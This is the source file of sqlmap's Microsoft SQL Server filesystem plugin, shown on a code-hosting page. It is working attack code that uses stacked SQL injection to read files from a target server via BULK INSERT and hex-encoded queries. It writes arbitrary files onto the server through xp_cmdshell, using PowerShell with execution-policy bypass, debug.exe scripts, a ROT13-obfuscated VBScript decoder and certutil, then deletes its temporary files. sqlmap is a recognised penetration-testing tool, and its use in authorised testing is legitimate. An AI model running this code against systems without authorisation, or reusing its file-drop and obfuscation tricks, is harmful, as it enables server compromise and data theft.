Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/dbms/mssqlserver/filesystem.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import ntpath
9
import os
10
11
from lib.core.common import checkFile
12
from lib.core.common import getLimitRange
13
from lib.core.common import isNumPosStrValue
14
from lib.core.common import isTechniqueAvailable
15
from lib.core.common import posixToNtSlashes
16
from lib.core.common import randomStr
17
from lib.core.common import readInput
18
from lib.core.compat import xrange
19
from lib.core.convert import encodeBase64
20
from lib.core.convert import encodeHex
21
from lib.core.convert import rot13
22
from lib.core.data import conf
23
from lib.core.data import kb
24
from lib.core.data import logger
25
from lib.core.enums import CHARSET_TYPE
26
from lib.core.enums import EXPECTED
27
from lib.core.enums import PAYLOAD
28
from lib.core.exception import SqlmapNoneDataException
29
from lib.core.exception import SqlmapUnsupportedFeatureException
30
from lib.request import inject
31
32
from plugins.generic.filesystem import Filesystem as GenericFilesystem
33
34
class Filesystem(GenericFilesystem):
35
def _dataToScr(self, fileContent, chunkName):
36
fileLines = []
37
fileSize = len(fileContent)
38
lineAddr = 0x100
39
lineLen = 20
40
41
fileLines.append("n %s" % chunkName)
42
fileLines.append("rcx")
43
fileLines.append("%x" % fileSize)
44
fileLines.append("f 0100 %x 00" % fileSize)
45
46
for fileLine in xrange(0, len(fileContent), lineLen):
47
scrString = ""
48
49
for lineChar in fileContent[fileLine:fileLine + lineLen]:
50
strLineChar = encodeHex(lineChar, binary=False)
51
52
if not scrString:
53
scrString = "e %x %s" % (lineAddr, strLineChar)
54
else:
55
scrString += " %s" % strLineChar
56
57
lineAddr += len(strLineChar) // 2
58
59
fileLines.append(scrString)
60
61
fileLines.append("w")
62
fileLines.append("q")
63
64
return fileLines
65
66
def _updateDestChunk(self, fileContent, tmpPath):
67
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
68
chunkName = randomStr(lowercase=True)
69
fileScrLines = self._dataToScr(fileContent, chunkName)
70
71
logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
72
73
self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
74
75
logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
76
77
commands = (
78
"cd \"%s\"" % tmpPath,
79
"debug < %s" % randScr,
80
"del /F /Q %s" % randScr
81
)
82
83
self.execCmd(" & ".join(command for command in commands))
84
85
return chunkName
86
87
def stackedReadFile(self, remoteFile):
88
if not kb.bruteMode:
89
infoMsg = "fetching file: '%s'" % remoteFile
90
logger.info(infoMsg)
91
92
result = []
93
txtTbl = self.fileTblName
94
hexTbl = "%s%shex" % (self.fileTblName, randomStr())
95
96
self.createSupportTbl(txtTbl, self.tblField, "text")
97
inject.goStacked("DROP TABLE %s" % hexTbl)
98
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
99
100
logger.debug("loading the content of file '%s' into support table" % remoteFile)
101
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True)
102
103
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
104
binToHexQuery = """DECLARE @charset VARCHAR(16)
105
DECLARE @counter INT
106
DECLARE @hexstr VARCHAR(4096)
107
DECLARE @length INT
108
DECLARE @chunk INT
109
110
SET @charset = '0123456789ABCDEF'
111
SET @counter = 1
112
SET @hexstr = ''
113
SET @length = (SELECT DATALENGTH(%s) FROM %s)
114
SET @chunk = 1024
115
116
WHILE (@counter <= @length)
117
BEGIN
118
DECLARE @tempint INT
119
DECLARE @firstint INT
120
DECLARE @secondint INT
121
122
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
123
SET @firstint = floor(@tempint/16)
124
SET @secondint = @tempint - (@firstint * 16)
125
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
126
127
SET @counter = @counter + 1
128
129
IF @counter %% @chunk = 0
130
BEGIN
131
INSERT INTO %s(%s) VALUES(@hexstr)
132
SET @hexstr = ''
133
END
134
END
135
136
IF @counter %% (@chunk) != 0
137
BEGIN
138
INSERT INTO %s(%s) VALUES(@hexstr)
139
END
140
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
141
142
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
143
inject.goStacked(binToHexQuery)
144
145
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
146
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False)
147
148
if not result:
149
result = []
150
count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
151
152
if not isNumPosStrValue(count):
153
errMsg = "unable to retrieve the content of the "
154
errMsg += "file '%s'" % remoteFile
155
raise SqlmapNoneDataException(errMsg)
156
157
indexRange = getLimitRange(count)
158
159
for index in indexRange:
160
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
161
result.append(chunk)
162
163
inject.goStacked("DROP TABLE %s" % hexTbl)
164
165
return result
166
167
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
168
errMsg = "Microsoft SQL Server does not support file upload with "
169
errMsg += "UNION query SQL injection technique"
170
raise SqlmapUnsupportedFeatureException(errMsg)
171
172
def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType):
173
infoMsg = "using PowerShell to write the %s file content " % fileType
174
infoMsg += "to file '%s'" % remoteFile
175
logger.info(infoMsg)
176
177
encodedFileContent = encodeBase64(localFileContent, binary=False)
178
encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
179
encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
180
181
randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
182
randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
183
184
localFileSize = len(encodedFileContent)
185
chunkMaxSize = 1024
186
187
logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)
188
189
for i in xrange(0, localFileSize, chunkMaxSize):
190
wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
191
self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
192
193
psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
194
psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
195
psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
196
psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile
197
198
logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)
199
self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)
200
201
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile)
202
203
commands = (
204
"powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
205
"del /F /Q \"%s\"" % encodedBase64FilePath,
206
"del /F /Q \"%s\"" % randPSScriptPath
207
)
208
209
self.execCmd(" & ".join(command for command in commands))
210
211
def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
212
infoMsg = "using debug.exe to write the %s " % fileType
213
infoMsg += "file content to file '%s', please wait.." % remoteFile
214
logger.info(infoMsg)
215
216
remoteFileName = ntpath.basename(remoteFile)
217
sFile = "%s\\%s" % (tmpPath, remoteFileName)
218
localFileSize = os.path.getsize(localFile)
219
debugSize = 0xFF00
220
221
if localFileSize < debugSize:
222
chunkName = self._updateDestChunk(localFileContent, tmpPath)
223
224
debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
225
debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile)
226
logger.debug(debugMsg)
227
228
commands = (
229
"cd \"%s\"" % tmpPath,
230
"ren %s %s" % (chunkName, remoteFileName),
231
"move /Y %s %s" % (remoteFileName, remoteFile)
232
)
233
234
self.execCmd(" & ".join(command for command in commands))
235
else:
236
debugMsg = "the file is larger than %d bytes. " % debugSize
237
debugMsg += "sqlmap will split it into chunks locally, upload "
238
debugMsg += "it chunk by chunk and recreate the original file "
239
debugMsg += "on the server, please wait.."
240
logger.debug(debugMsg)
241
242
for i in xrange(0, localFileSize, debugSize):
243
localFileChunk = localFileContent[i:i + debugSize]
244
chunkName = self._updateDestChunk(localFileChunk, tmpPath)
245
246
if i == 0:
247
debugMsg = "renaming chunk "
248
copyCmd = "ren %s %s" % (chunkName, remoteFileName)
249
else:
250
debugMsg = "appending chunk "
251
copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName)
252
253
debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName)
254
logger.debug(debugMsg)
255
256
commands = (
257
"cd \"%s\"" % tmpPath,
258
copyCmd,
259
"del /F /Q %s" % chunkName
260
)
261
262
self.execCmd(" & ".join(command for command in commands))
263
264
logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile))
265
266
commands = (
267
"cd \"%s\"" % tmpPath,
268
"move /Y %s %s" % (remoteFileName, remoteFile)
269
)
270
271
self.execCmd(" & ".join(command for command in commands))
272
273
def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType):
274
infoMsg = "using a custom visual basic script to write the "
275
infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile)
276
logger.info(infoMsg)
277
278
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
279
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
280
randFilePath = "%s\\%s" % (tmpPath, randFile)
281
282
vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu
283
vachgSvyrCngu = "%f"
284
bhgchgSvyrCngu = "%f"
285
Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg")
286
Frg svyr = sf.TrgSvyr(vachgSvyrCngu)
287
Vs svyr.Fvmr Gura
288
Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu
289
Jfpevcg.Rpub
290
Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1)
291
qngn = sq.ErnqNyy
292
sq.Pybfr
293
qngn = Ercynpr(qngn, " ", "")
294
qngn = Ercynpr(qngn, ioPe, "")
295
qngn = Ercynpr(qngn, ioYs, "")
296
Jfpevcg.Rpub "Svkrq Vachg: "
297
Jfpevcg.Rpub qngn
298
Jfpevcg.Rpub
299
qrpbqrqQngn = onfr64_qrpbqr(qngn)
300
Jfpevcg.Rpub "Bhgchg: "
301
Jfpevcg.Rpub qrpbqrqQngn
302
Jfpevcg.Rpub
303
Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu
304
Jfpevcg.Rpub
305
Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr)
306
bsf.Jevgr qrpbqrqQngn
307
bsf.pybfr
308
Ryfr
309
Jfpevcg.Rpub "Gur svyr vf rzcgl."
310
Raq Vs
311
Shapgvba onfr64_qrpbqr(olIny fgeVa)
312
Qvz j1, j2, j3, j4, a, fgeBhg
313
Sbe a = 1 Gb Yra(fgeVa) Fgrc 4
314
j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1))
315
j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1))
316
j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1))
317
j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1))
318
Vs Abg j2 Gura _
319
fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255))
320
Vs Abg j3 Gura _
321
fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255))
322
Vs Abg j4 Gura _
323
fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255))
324
Arkg
325
onfr64_qrpbqr = fgeBhg
326
Raq Shapgvba
327
Shapgvba zvzrqrpbqr(olIny fgeVa)
328
Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/"
329
Vs Yra(fgeVa) = 0 Gura
330
zvzrqrpbqr = -1 : Rkvg Shapgvba
331
Ryfr
332
zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1
333
Raq Vs
334
Raq Shapgvba"""
335
336
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581
337
vbs = rot13(vbs)
338
vbs = vbs.replace(" ", "")
339
encodedFileContent = encodeBase64(localFileContent, binary=False)
340
341
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
342
343
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
344
345
logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))
346
347
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
348
349
commands = (
350
"cd \"%s\"" % tmpPath,
351
"cscript //nologo %s" % randVbs,
352
"del /F /Q %s" % randVbs,
353
"del /F /Q %s" % randFile
354
)
355
356
self.execCmd(" & ".join(command for command in commands))
357
358
def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
359
infoMsg = "using certutil.exe to write the %s " % fileType
360
infoMsg += "file content to file '%s', please wait.." % remoteFile
361
logger.info(infoMsg)
362
363
chunkMaxSize = 500
364
365
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
366
randFilePath = "%s\\%s" % (tmpPath, randFile)
367
368
encodedFileContent = encodeBase64(localFileContent, binary=False)
369
370
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
371
372
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
373
374
self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)
375
376
logger.debug("decoding the file to %s.." % remoteFile)
377
378
commands = (
379
"cd \"%s\"" % tmpPath,
380
"certutil -f -decode %s %s" % (randFile, remoteFile),
381
"del /F /Q %s" % randFile
382
)
383
384
self.execCmd(" & ".join(command for command in commands))
385
386
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
387
# NOTE: this is needed here because we use xp_cmdshell extended
388
# procedure to write a file on the back-end Microsoft SQL Server
389
# file system
390
self.initEnv()
391
self.getRemoteTempPath()
392
393
tmpPath = posixToNtSlashes(conf.tmpPath)
394
remoteFile = posixToNtSlashes(remoteFile)
395
396
checkFile(localFile)
397
localFileContent = open(localFile, "rb").read()
398
399
self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType)
400
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
401
402
if written is False:
403
message = "do you want to try to upload the file with "
404
message += "the custom Visual Basic script technique? [Y/n] "
405
406
if readInput(message, default='Y', boolean=True):
407
self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType)
408
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
409
410
if written is False:
411
message = "do you want to try to upload the file with "
412
message += "the built-in debug.exe technique? [Y/n] "
413
414
if readInput(message, default='Y', boolean=True):
415
self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
416
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
417
418
if written is False:
419
message = "do you want to try to upload the file with "
420
message += "the built-in certutil.exe technique? [Y/n] "
421
422
if readInput(message, default='Y', boolean=True):
423
self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
424
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
425
426
return written
427
428